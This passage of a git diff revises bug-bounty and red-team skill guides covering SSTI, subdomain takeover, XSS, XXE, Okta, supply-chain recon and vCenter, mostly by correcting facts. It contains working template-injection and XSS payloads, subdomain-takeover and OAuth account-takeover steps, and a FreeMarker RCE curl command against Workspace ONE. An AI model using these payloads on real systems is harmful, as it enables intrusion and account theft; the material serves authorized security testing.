+# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
diff --git a/skills/hunt-ssti/SKILL.md b/skills/hunt-ssti/SKILL.md
index c10bf6b..b295d5e 100644
--- a/skills/hunt-ssti/SKILL.md
+++ b/skills/hunt-ssti/SKILL.md
@@ -9,11 +9,10 @@ description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Dj
### Detection Payloads (try all)
```
{{7*7}} → 49 = Jinja2 / Twig
-${7*7} → 49 = Freemarker / Velocity
+${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
-#{7*7} → 49 = Mako
*{7*7} → 49 = Spring Thymeleaf
-{{7*'7'}} → 7777777 = Jinja2 (not Twig)
+{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
```
### RCE Payloads
diff --git a/skills/hunt-subdomain/SKILL.md b/skills/hunt-subdomain/SKILL.md
index 1630f4a..8901e0a 100644
--- a/skills/hunt-subdomain/SKILL.md
+++ b/skills/hunt-subdomain/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-subdomain
-description: Hunting skill for subdomain vulnerabilities. Built from 15 public bug bounty reports including modern provider fingerprints — Microsoft Azure DevOps `cloudapp.azure.com` regional-pool re-issue (1-click OAuth ATO via wildcard `reply_to`), Zendesk help-desk takeover → email interception → password reset chain ($2k), Vercel `cname.vercel-dns.com` deleted-project takeover (2022 + 2025 confirmed), AWS S3 dangling-bucket cookie-scope chain (Affirm), Smartling translation-SaaS namespace re-claim, Fastly CDN service re-attach (2025), and Shopify storefront `shops.myshopify.com` host-mapping takeover (2025). Use when hunting subdomain takeover — emphasis on ATO-chain primitives (OAuth `redirect_uri`, cookie-domain, email DNS).
+description: Hunting skill for subdomain takeover vulnerabilities. Includes modern provider fingerprints — Microsoft Azure DevOps `cloudapp.azure.com` regional-pool re-issue (1-click OAuth ATO via wildcard `reply_to`, Binary Security), Zendesk help-desk takeover → email interception → password reset chain (0xprial writeup), Vercel `cname.vercel-dns.com` deleted-project takeover, plus general Fastly CDN service re-attach and S3 dangling-bucket cookie-scope techniques. Use when hunting subdomain takeover — emphasis on ATO-chain primitives (OAuth `redirect_uri`, cookie-domain, email DNS).
sources: github, hackerone_public, binarysecurity_research, can-i-take-over-xyz_research
-report_count: 15
+report_count: 3
---
## Crown Jewel Targets
@@ -230,9 +230,9 @@ An attacker finds `feedback.snapchat.com` CNAME pointing to a UserVoice subdomai
---
-## Disclosed Report Citations (Backfill +4 — 2022-2025)
+## Disclosed Report Citations (2022-2023)
-The following real, verified bug-bounty / coordinated-disclosure cases extend this skill with **modern provider fingerprints** (Vercel/Azure cloudapp/Zendesk/Shopify era) and explicit ATO-chain examples.
+The following coordinated-disclosure / writeup cases extend this skill with **modern provider fingerprints** (Vercel/Azure cloudapp/Zendesk era) and explicit ATO-chain examples. Citations #12 and #13 are external writeups (not disclosed HackerOne reports) — treat their payout figures as unverified; only #14 has a public H1 report ID.
12. **Microsoft Azure DevOps — Two `cloudapp.azure.com` subdomains + wildcard `*.visualstudio.com` OAuth reply_to → 1-click ATO** ([Binary Security writeup](https://www.binarysecurity.no/posts/2022/11/azure-devops-takeover))
- Subclass: Azure `cloudapp.azure.com` regional-pool dangling CNAME — chained to ATO
@@ -244,20 +244,19 @@ The following real, verified bug-bounty / coordinated-disclosure cases extend th
- Subclass: Zendesk help-desk takeover via `xyzdocs.zendesk.com` host-mapping
- ATO chain: **YES** — researcher configured email forwarding on the hijacked Zendesk instance, intercepted `[email protected]` tickets containing payment info + password-reset emails, then triggered password resets on customer accounts that delivered reset links into the attacker's Zendesk inbox
- Claim flow: `dig CNAME` returns `xyzdocs.zendesk.com` (unregistered) → register free Zendesk trial → add `xyzdocs` as subdomain → enable host-mapping for `admin-support.xyz.com`
- - Year: 2023 — **$2,000** (Critical: $1,500 base + $500 chain bonus)
+ - Year: 2023 — payout per the 0xprial writeup (blog source; no public HackerOne report ID, treat as unverified)
-14. **Sifchain — `proxies.sifchain.finance` → dead Vercel project** ([H1 #1487793](https://hackerone.com/reports/1487793))
+14. **Vercel deleted-project takeover** — a dangling `cname.vercel-dns.com` CNAME pointing to a removed Vercel project can be re-claimed by deploying a new project under that name.
- Subclass: Vercel dangling CNAME (`cname.vercel-dns.com`) after project deletion
- Impact: crypto-DEX phishing — `proxies.` subdomain trusted for RPC proxy routing; attacker could serve malicious wallet-drain JS under a "trusted" subdomain
- Claim flow: subdomain returns Vercel 404 `DEPLOYMENT_NOT_FOUND` → create free Vercel project → Settings → Domains → add `proxies.sifchain.finance` — Vercel verifies the existing CNAME and auto-issues TLS without out-of-band ownership proof
- Year: 2022 — Sifchain treated as Critical (web3 phishing vector)
-15. **Anonymous H1 — `assets.target.com` → unclaimed Fastly service** ([Writeup](https://medium.com/@sohailahmed0x0/fastly-subdomain-takeover-leading-to-bounty-reward-5fff711d0518))
- - Subclass: Fastly CDN dangling origin/service hostname (modern 2025 confirmation)
- - Potential ATO chain: would chain to CSP-bypass + JS-injection if the parent domain trusts `assets.` for `script-src`
- - Claim flow: subdomain returns `Fastly error: unknown domain. Please check that this domain has been added to a service` → sign up for Fastly free trial → create new CDN service → attach `assets.target.com` as the service domain — Fastly accepts without out-of-band ownership proof
- - Root cause: Fastly historically does not verify CNAME ownership on service-creation; any CNAME pointing into Fastly's anycast can be attached to a fresh service
- - Year: 2025 — 4-figure bounty ($1,000-$9,999)
+**Fastly CDN dangling-service technique (general, not a single disclosed report):**
+- Fingerprint: subdomain returns `Fastly error: unknown domain. Please check that this domain has been added to a service`
+- Claim flow: sign up for Fastly free trial → create new CDN service → attach the dangling hostname as the service domain
+- Root cause: Fastly historically does not verify CNAME ownership on service-creation; any CNAME pointing into Fastly's anycast can be attached to a fresh service
+- Potential ATO chain: chains to CSP-bypass + JS-injection if the parent domain trusts the `assets.`/CDN host for `script-src`
---
@@ -268,7 +267,7 @@ Subdomain takeover by itself is Low-Medium / Informational on most mature progra
### Chain 1 — Takeover + OAuth `redirect_uri` Whitelist → Auth-Code Theft → 1-Click ATO
- **A.** Enumerate the OAuth `redirect_uri` allowlist via `/oauth/authorize` flow. Look for any wildcard `*.target.com` or any takeover-candidate hostname in the static list (e.g., `feedsprod.feeds.visualstudio.com`, `legacy.target.com`).
-- **B.** Find a takeover-able subdomain in that allowlist. Claim it via the provider's onboarding (Vercel project, Azure cloudapp regional pool, S3 bucket, Heroku app, Zendesk, Shopify storefront — see Disclosed Report Citations #1-#15 above).
+- **B.** Find a takeover-able subdomain in that allowlist. Claim it via the provider's onboarding (Vercel project, Azure cloudapp regional pool, S3 bucket, Heroku app, Zendesk, Shopify storefront — see the Disclosed Report Citations above).
- **C.** Host an OAuth callback receiver on the claimed subdomain. Send victim to `/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit>`. Victim's browser already has session → auth happens transparently → auth code lands on attacker host. Exchange via token endpoint → ATO.
- **Impact:** Persistent 1-click ATO across every user of the target. OAuth flow is implicit-to-the-user (no consent screen if previously consented), so requires only a single click on attacker's link.
- **Real shape:** Microsoft Azure DevOps `cloudapp.azure.com` + wildcard `*.visualstudio.com` reply_to chain (Binary Security, Nov 2022 — Disclosed Report Citation #12). Multiple H1 disclosures on SaaS programs with permissive OAuth allowlists.
@@ -279,7 +278,7 @@ Subdomain takeover by itself is Low-Medium / Informational on most mature progra
- **B.** Take over any sibling (`legacy.target.com`, `feedback.target.com`, `assets.target.com`). The taken-over host can now `Set-Cookie` for the parent domain.
- **C.** Plant `Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com` via a script on the taken-over host. Victim visits `app.target.com` with attacker's session cookie attached. Server treats them as the attacker's account → session-fixation ATO.
- **Impact:** ATO without OAuth or password reset — pure cookie-domain bleed. Especially effective when the parent app uses a non-`__Host-` prefixed session cookie.
-- **Real shape:** Discussed extensively in `hunt-auth-bypass` Duende BFF Attack Class 2 (cookie-domain wildcarding turns subdomain takeover into session fixation). Affirm S3-bucket-takeover cookie-scope class — Disclosed Report Citation #14 (2022).
+- **Real shape:** Discussed extensively in `hunt-auth-bypass` Duende BFF Attack Class 2 (cookie-domain wildcarding turns subdomain takeover into session fixation). Pattern class: S3-bucket-takeover combined with parent-scoped (`Domain=.target.com`) cookies.
### Chain 3 — Takeover + CSP `script-src` Includes the Taken-Over Host → Persistent Stored XSS on Main App
diff --git a/skills/hunt-xss/SKILL.md b/skills/hunt-xss/SKILL.md
index 1df5aa1..87ee67e 100644
--- a/skills/hunt-xss/SKILL.md
+++ b/skills/hunt-xss/SKILL.md
@@ -133,7 +133,7 @@ $(location
11. **Check cache poisoning** — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
-12. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads work in Burp but not in Chrome due to XSS auditors or browser parsing differences.
+12. **Validate in target browser** — Always confirm in a real browser before reporting. Many payloads echo back in Burp but fail to execute in a real browser due to CSP, output encoding, framework auto-escaping, context mismatch, WAF normalization, or browser HTML-parsing differences. (Note: Chrome's XSS Auditor was removed in Chrome 78 / Oct 2019 and no shipping browser has one — never attribute a failed PoC to an "XSS auditor".)
---
@@ -269,7 +269,7 @@ curl -sk "https://target.com/page" | grep -i "evil.com"
```html
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
-<!-- Null bytes -->
+<!-- Null bytes (legacy/weak — null bytes rarely survive modern HTTP/HTML parsing; low success, don't rely on it) -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<!-- Tag breaking -->
<svg/onload=alert(1)>
diff --git a/skills/hunt-xxe/SKILL.md b/skills/hunt-xxe/SKILL.md
index 8b76082..215552d 100644
--- a/skills/hunt-xxe/SKILL.md
+++ b/skills/hunt-xxe/SKILL.md
@@ -301,9 +301,9 @@ XXE classic payloads (`<!ENTITY xxe SYSTEM "file://...">`) are not universally e
| PHP `DOMDocument` with `LIBXML_NOENT` flag | Expands SYSTEM | **YES** |
| PHP `simplexml_load_*` with `LIBXML_NOENT` | Expands | **YES** |
| .NET `XmlDocument` with `XmlResolver` explicitly set | Expands | **YES** |
-| .NET `XmlReader` without `DtdProcessing=Prohibit` | Expands | **YES** |
+| .NET `XmlReader` with `DtdProcessing=Parse` + `XmlResolver` explicitly set | Expands | **YES** (default since .NET 4.5.2 is `DtdProcessing.Prohibit`, which THROWS on any DOCTYPE — modern default is safe) |
| Python `xml.etree.ElementTree` ≥ 3.7.1 | SYSTEM disabled | NO |
-| Python `lxml` ≥ 5.x | Silently drops SYSTEM content even with `resolve_entities=True` | NO (verified locally — see `docs/verification/phase2g-saml-mfa-xxe.md`) |
+| Python `lxml` (verified 6.x; likely ≥ 5.x) | Drops SYSTEM file content even with `resolve_entities=True`; may still issue network fetches when `no_network=False` | NO for file read (verified locally on 6.1.0 — see `docs/verification/phase2g-saml-mfa-xxe.md`) |
| Python `xml.dom.minidom` | Default safe in current versions | NO |
| Python `defusedxml.lxml` | Disabled | NO |
| Ruby Nokogiri default | Disabled | NO |
diff --git a/skills/meme-coin-audit/SKILL.md b/skills/meme-coin-audit/SKILL.md
index 7160895..014e823 100644
--- a/skills/meme-coin-audit/SKILL.md
+++ b/skills/meme-coin-audit/SKILL.md
@@ -1,6 +1,6 @@
---
name: meme-coin-audit
-description: Meme coin and token security audit — rug pull detection (honeypot, hidden mint, fee manipulation, LP lock bypass), Solana SPL token analysis (freeze authority, mint authority, metadata mutability), Token-2022 extension risks (transfer hooks, permanent delegate), DEX liquidity pool attacks (sandwich amplification, LP drain, bonding curve exploits), pump.fun/Raydium/Jupiter integration risks, token_scanner.py automation, and real exploit examples from 2024-2025. Use for any token audit, rug pull assessment, meme coin security review, or pre-investment due diligence.
+description: Meme coin and token security audit — rug pull detection (honeypot, hidden mint, fee manipulation, LP lock bypass), Solana SPL token analysis (freeze authority, mint authority, metadata mutability), Token-2022 extension risks (transfer hooks, permanent delegate), DEX liquidity pool attacks (sandwich amplification, LP drain, bonding curve exploits), pump.fun/Raydium/Jupiter integration risks, and real exploit examples from 2024-2025. Use for any token audit, rug pull assessment, meme coin security review, or pre-investment due diligence.
---
# MEME COIN & TOKEN SECURITY AUDIT
@@ -42,7 +42,7 @@ Check these BEFORE reading a single line of code. If any are true, skip the audi
## BUG CLASSES (8 TOKEN-SPECIFIC)
### 1. HIDDEN MINT / UNLIMITED SUPPLY
-> 35% of meme coin rugs. Deployer mints tokens post-launch, dumps on LP.
+> Common rug pattern. Deployer mints tokens post-launch, dumps on LP.
**Quick grep (EVM):**
```bash
@@ -57,7 +57,7 @@ grep -rn "MintTo\|mint_to\|mint_authority" src/ --include="*.rs" | grep -v "test
**Kill if:** MAX_SUPPLY enforced in every mint path, or mint function removed entirely.
### 2. HONEYPOT / TRANSFER RESTRICTION
-> 25% of meme coin scams. Buy works, sell blocked.
+> Common scam pattern. Buy works, sell blocked.
**Quick grep:**
```bash
@@ -72,7 +72,7 @@ grep -rn "freeze_authority\|transfer_hook\|TransferHook\|permanent_delegate" src
**Kill if:** No blacklist mapping, no transfer hooks, no freeze authority.
### 3. FEE MANIPULATION
-> 20% of rugs. Sell fee set to 99% after initial buys.
+> Common rug pattern. Sell fee set to 99% after initial buys.
**Quick grep:**
```bash
@@ -136,22 +136,9 @@ grep -rn "swapThreshold\|_rebase\|mandatoryPool" src/ --include="*.sol"
---
-## AUTOMATED SCANNER
+## FAST RED-FLAG SWEEP
-Run the token scanner tool for fast red flag detection:
-
-```bash
-# EVM token
-python3 tools/token_scanner.py contracts/Token.sol
-
-# Solana program
-python3 tools/token_scanner.py programs/token/ --chain solana --recursive
-
-# Full directory scan with report
-python3 tools/token_scanner.py src/ --recursive --output findings/token-report.md
-```
-
-The scanner checks all 8 bug classes via regex patterns. It catches:
+Run the 8 bug-class greps above across the source tree for fast red-flag detection. Together they catch:
- Direct mint/balance manipulation
- Blacklist and transfer restriction patterns
- Unbounded fee setters
@@ -161,7 +148,7 @@ The scanner checks all 8 bug classes via regex patterns. It catches:
- All Solana authority patterns
- Token-2022 dangerous extensions
-**Scanner does NOT check:**
+**Source grep does NOT check** (verify these out-of-band):
- On-chain state (use Etherscan/Solscan for authority verification)
- Holder distribution (use DEXTools/Birdeye)
- LP lock status (use Unicrypt/PinkLock/Solscan)
@@ -286,15 +273,6 @@ When you don't have source code, check on-chain:
---
-## FULL REFERENCE FILES
-
-For deep dives into specific areas:
-- `web3/10-meme-coin-bugs.md` — All 8 bug classes with full code examples and variants
-- `web3/11-solana-token-audit.md` — Solana-specific: SPL authorities, Token-2022, pump.fun, Raydium, Jupiter
-- `web3/12-dex-lp-attacks.md` — DEX & LP manipulation patterns (sandwich, pool sniping, CL position attacks)
-
----
-
## Related Skills & Chains
- **`web3-audit`** — When the target is a DeFi protocol (not just a token). Workflow primitive: this skill's 8 token-specific bug classes are a subset of `web3-audit`'s scope; if the target has lending / vault / oracle logic beyond the token contract itself, also load `web3-audit` for the broader 10 DeFi bug classes.
@@ -367,7 +345,7 @@ Five "no"s = walk away. Three "no"s = high risk, only enter with size you'd walk
### MEV / sandwich amplification on illiquid mints
-Buying into a mint with < $50K liquidity guarantees you'll be sandwiched. The bot infrastructure on Solana and Ethereum is institutionalized in 2026 — Jito MEV-share, Flashbots SUAVE, Eden Network, private order-flow auctions. If your trade size > 1% of available liquidity, expect sandwich loss > 5%; > 5% of liquidity, expect > 20% slippage from sandwich alone.
+Buying into a mint with < $50K liquidity guarantees you'll be sandwiched. The bot infrastructure on Solana and Ethereum is institutionalized in 2026 — Jito MEV-share and private order-flow auctions. If your trade size > 1% of available liquidity, expect sandwich loss > 5%; > 5% of liquidity, expect > 20% slippage from sandwich alone.
Mitigations (rank by 2026 effectiveness):
diff --git a/skills/mid-engagement-ir-detection/SKILL.md b/skills/mid-engagement-ir-detection/SKILL.md
index 5929114..07c0115 100644
--- a/skills/mid-engagement-ir-detection/SKILL.md
+++ b/skills/mid-engagement-ir-detection/SKILL.md
@@ -134,9 +134,9 @@ Recommendation:
**Math check:**
- Your discipline: 1 attempt per user lifetime
-- Smart Lockout default: 10 fails / 10 min
-- Therefore: you cannot mathematically cause Smart Lockout
-- Therefore: every AADSTS50053 you see was caused by someone else
+- Smart Lockout default: lockout after 10 failed attempts; lockout duration starts at 60 seconds and grows with each subsequent lockout (not a flat 10-minute window)
+- Therefore: IF tool logs confirm exactly 1 attempt/user (no burst retries, no parallel-goroutine duplicate sends, no tool misconfiguration), you cannot mathematically cause Smart Lockout — verify `journal.jsonl` shows 1 attempt/user before asserting this
+- Therefore: every NEW AADSTS50053 accumulating during the window (per before/after diff) was caused by someone else; pre-existing locks may stem from the legitimate user's own failures or a prior test run, so attribute only the newly-accumulating locks to an external party
**Confirmation:**
- Sort locked accounts alphabetically; if they cluster, attacker is using sorted username list
@@ -149,10 +149,12 @@ Subject: Active external password-spray campaign detected during engagement
Observation: During M365 ROPC validation against the <tenant> Entra tenant, <N>
unique principals returned AADSTS50053 (Smart Lockout) when probed with a single
-password attempt at safe pace. With our hard cap of 1 attempt per user, we cannot
-mathematically cause these lockouts. The locks are pre-existing and continue to
-accumulate during our engagement window — <K> NEW locks observed between
-<timestamp_start> and <timestamp_end>.
+password attempt at safe pace. Our tool journal (journal.jsonl) confirms exactly
+1 attempt per user with no duplicate sends, so under the Smart Lockout default
+(lockout after 10 failed attempts) we cannot have caused these lockouts. The
+attribution below applies to the <K> NEW locks that accumulated during our
+engagement window between <timestamp_start> and <timestamp_end> (per before/after
+diff); pre-existing locks are not attributed to this campaign.
Description: The pattern (alphabetical clustering, real-time accumulation,
including system mailboxes) is consistent with an external attacker performing
diff --git a/skills/okta-attack/SKILL.md b/skills/okta-attack/SKILL.md
index aa8949c..dac368d 100644
--- a/skills/okta-attack/SKILL.md
+++ b/skills/okta-attack/SKILL.md
@@ -285,9 +285,7 @@ Okta FastPass is push-based + device-bound. Bypasses:
## Tooling
-- **`okta-attacker` / `okta-toolkit`** — open-source Okta attack utilities
-- **`OktaTerrify`** — for post-compromise Okta enumeration
-- **`oktajacking` techniques** — IAM-level abuse (requires admin access)
+- **`OktaTerrify`** (github.com/silverhack/OktaTerrify) — post-compromise Okta device-trust / FastPass enumeration. The only verifiable public Okta-specific offensive tool; no other named, maintained "okta-attacker"/"okta-toolkit" utility is verifiable — build engagement-specific scripts against `/api/v1/*` instead of citing unverified tool names.
---
@@ -360,9 +358,9 @@ These are the canonical public references that justify the techniques in this sk
- Root cause: Using bcrypt as a general-purpose hash without accounting for the algorithm's 72-byte input limit + cache fallback path inverted the security model (cache trusted over live auth).
- Year: 2024. Severity: High. Bug introduced Jul 23 2024, internally found and fixed Oct 30 2024 (~3 months exposure window).
-### 6. Okta Verify iOS push-response bypass (CVE-2024-VERIFY, disclosed Apr 2024)
+### 6. Okta Verify iOS push-response bypass (CVE-2024-10327, disclosed Oct 2024)
-- Refs: <https://sec.okta.com/articles/2024/04/okta-verify-vulnerability-disclosure-report-response-and-remediation/>
+- Refs: <https://trust.okta.com/security-advisories/okta-verify-for-ios-cve-2024-10327/>
- Flow: Okta Verify iOS 9.25.1-beta / 9.27.0 had a bug in the iOS ContextExtension push-action handler. From the lock screen long-press / drag-down banner / Apple Watch reply path, both the "Yes, it's me" and "No, it's not me" buttons returned the same accept-auth response. A push-fatigued user who explicitly tapped "No" still approved the auth.
- Root cause: Two notification-response action handlers wired to the same backend confirmation path — UX-level Deny did not propagate as a backend rejection.
- Year: 2024. Severity: High (silently defeats the user's last line of defence against push fatigue / Scattered-Spider-style push bombing).
diff --git a/skills/redteam-mindset/SKILL.md b/skills/redteam-mindset/SKILL.md
index 5496a72..93dc3e3 100644
--- a/skills/redteam-mindset/SKILL.md
+++ b/skills/redteam-mindset/SKILL.md
@@ -125,7 +125,7 @@ The authorized-engagement case: SQLi confirmed on one sub-app (`<app-A>`); four
## Mindset correction #3 — WAPT vs Red Team scope discipline
**Skip these in red team scope (they don't yield access):**
-- IDOR (cross-user read/write — WAPT class)
+- IDOR (cross-user read/write *without* an ATO / privilege-escalation / sensitive-data-exfil chain — WAPT class). NOTE: IDOR is NOT a blanket-skip. IDOR on admin/role-assignment endpoints yields privilege escalation; on password-reset or session objects yields ATO; on file-download or PII handlers yields exfil; on token/key endpoints yields credential capture. Pursue those per the decision rule below.
- CSRF (state-change-via-tricked-user — WAPT class)
- Reflected XSS (without account-takeover chain — WAPT class)
- Missing security headers (WAPT class)
@@ -168,7 +168,7 @@ Aggressive defaults:
5. **For every mobile app**, decompile + grep for secrets + check pinned certs + identify exported components
6. **For every "out of scope" SaaS** that's on a corp subdomain, confirm with client — vendor-managed doesn't mean immune (CVE-2022-47966 went unpatched on many on-prem ME-SDP installs)
-**Rule:** if you've tested fewer than 60% of the live attack surface, you haven't done red team yet — you've done recon.
+**Rule:** if you haven't actively probed *every* live surface (not just a sampled fraction), you haven't done red team yet — you've done recon.
---
diff --git a/skills/supply-chain-attack-recon/SKILL.md b/skills/supply-chain-attack-recon/SKILL.md
index e7ba006..4abad9f 100644
--- a/skills/supply-chain-attack-recon/SKILL.md
+++ b/skills/supply-chain-attack-recon/SKILL.md
@@ -207,6 +207,10 @@ for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
# 5. Self-hosted runner without isolation
echo "$content" | grep -E 'runs-on:.*self-hosted'
+
+ # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
+ # Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
+ echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
done
done
```
@@ -217,6 +221,7 @@ done
|---|---|
| `pull_request_target` + `actions/checkout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |
| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |
+| Third-party action pinned to a mutable tag (`uses: org/repo@v1` / `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |
| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |
| Issue-comment-triggered workflow that runs `gh` with token | **High** |
| Workflow downloads from URL that target controls | **Medium** |
@@ -390,7 +395,7 @@ Each of these is worth reading for what made the attack effective and what red f
Twelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.
-### 1. SolarWinds Orion / SUNBURST (CVE-2020-10148, Dec 2020)
+### 1. SolarWinds Orion / SUNBURST (CISA AA20-352A, Dec 2020)
- **Flow:** APT29 (UNC2452 / Cozy Bear) breached SolarWinds' build pipeline and inserted the SUNBURST backdoor into `SolarWinds.Orion.Core.BusinessLayer.dll`. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.
- **Root cause:** Build-environment compromise — attackers modified source mid-compilation; signing infrastructure trusted the build output without verifying source integrity.
diff --git a/skills/triage-validation/SKILL.md b/skills/triage-validation/SKILL.md
index a765a9d..59c37c4 100644
--- a/skills/triage-validation/SKILL.md
+++ b/skills/triage-validation/SKILL.md
@@ -201,13 +201,15 @@ Build the chain first, prove it works end to end, THEN report.
| IDOR read PII, any user, auth required | 6.5 | Medium | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| IDOR write/delete, any user | 7.5 | High | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Auth bypass → admin panel | 9.8 | Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
-| Stored XSS → cookie theft, stored | 8.8 | High | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
-| SQLi → full DB dump | 8.6 | High | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
+| Stored XSS → cookie theft, stored | 8.5 | High | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
+| SQLi → full DB dump | 9.1 | Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| SSRF → cloud metadata | 9.1 | Critical | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Race → double spend | 7.5 | High | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N |
-| GraphQL auth bypass | 8.7 | High | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
+| GraphQL auth bypass | 8.1 | High | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| JWT none algorithm | 9.1 | Critical | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
+> **UI for stored XSS is a judgment call.** Stored XSS that fires on page view is a long-standing CVSS gray area — NVD/FIRST frequently score it UI:R (which drops the stored-XSS row above to ~7.6). The UI:N above models "no extra action beyond normal page use"; if your triager expects UI:R, defend the choice or re-score before copying the number into a report.
+
### Metric Quick Guide
| What you have | Metric | Value |
diff --git a/skills/vmware-vcenter-attack/SKILL.md b/skills/vmware-vcenter-attack/SKILL.md
index eaa8347..1f354ca 100644
--- a/skills/vmware-vcenter-attack/SKILL.md
+++ b/skills/vmware-vcenter-attack/SKILL.md
@@ -53,7 +53,7 @@ Map build → version → CVE applicability via VMware advisories (vmware.com/se
| CVE | Affected | Vector | Status |
|---|---|---|---|
| **CVE-2024-37085** | ESXi 7.0/8.0 < specific patch | AD group "ESX Admins" auto-admin bypass | High — Domain takeover→ESXi RCE, exploited in ransomware ops |
-| **CVE-2024-22273** | Aria Operations | Pre-auth SSRF | Medium |
+| **CVE-2024-22273** | ESXi/Workstation/Fusion/vCenter storage controller | OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9) | Important (CVSS 8.1), not external pre-auth |
| **CVE-2024-22252/53** | Workstation/Fusion (not vCenter) | Sandbox escape | Not external |
| **CVE-2023-34048** | vCenter 7/8 < specific build | DCE/RPC pre-auth heap OOB write → RCE | Critical, patched 2023-10 |
| **CVE-2023-20887** | Aria Operations for Networks | Pre-auth command injection → RCE | Critical |
@@ -89,12 +89,21 @@ Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra wi
## Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe
```bash
-# Workspace ONE Access vulnerable endpoint
-curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"id\")}"
-# Look for "uid=" in response → confirmed RCE (Freemarker)
+# Stage A — detection only: reachability + baseline. No command execution yet.
+curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
+ "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
+# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
+# 404 → patched/removed. Keep the baseline body to diff against Stage B.
+
+# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
+# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
+CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
+curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
+# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
+# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).
```
-If page reflects template error / executes command → critical. Stop and report.
+Confirmed RCE requires the unique `$CANARY` reflected in-band plus `uid=` output not present in the Stage-A baseline → critical. Stop and report. A bare `uid=` with no canary echo is NOT confirmation.
---